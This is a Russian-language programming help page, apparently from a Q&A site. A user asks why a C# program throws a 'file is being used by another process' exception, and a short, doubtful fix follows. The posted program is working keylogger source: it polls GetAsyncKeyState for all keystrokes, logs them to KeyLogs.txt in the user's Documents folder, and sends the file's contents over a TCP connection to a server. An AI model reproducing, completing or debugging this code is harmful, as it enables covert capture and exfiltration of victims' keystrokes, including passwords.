Процесс не может получить доступ к файлу, так как этот файл используется другим процессом - C# (187420)
Формулировка задачи:
Программа отправляет на сервер сообщение из файла(должна), но выдаёт исключение "Процесс не может получить доступ к файлу, так как этот файл используется другим процессом." Вот код
Как исправить ошибку?
class Program { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); static void Main(string[] args) { new Thread(Server).Start(); Starts(); } // public static void Server() { TcpClient client = new TcpClient(); client.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2200)); //Здесь передаём данные серверу StreamReader srFile = new StreamReader("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt"); string[] str = new string[2024]; string s = null; while ((s = srFile.ReadLine()) != null) { for(int i = 0; i < str.Length; i++) { str[i] = s; s = null; } } srFile.Close(); StreamWriter sw = new StreamWriter(client.GetStream()); sw.AutoFlush = true; for (int j = 0; j < str.Length; j++) { sw.WriteLine(str[j]); } } static void Starts() { while (true) { Thread.Sleep(10); for (Int32 i = 0; i < 255; i++) { int keyState = GetAsyncKeyState(i); if (keyState == 1 || keyState == -32767) { Console.WriteLine((Keys)i); string toStringKeys = Convert.ToString((Keys)i); File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys); break; } } } } } }
Решение задачи: «Процесс не может получить доступ к файлу, так как этот файл используется другим процессом»
textual
Листинг программы
Action syn = () => { //Тут код который вызывает ошибку. // наверное это File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys); }; Invoke(syn)
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д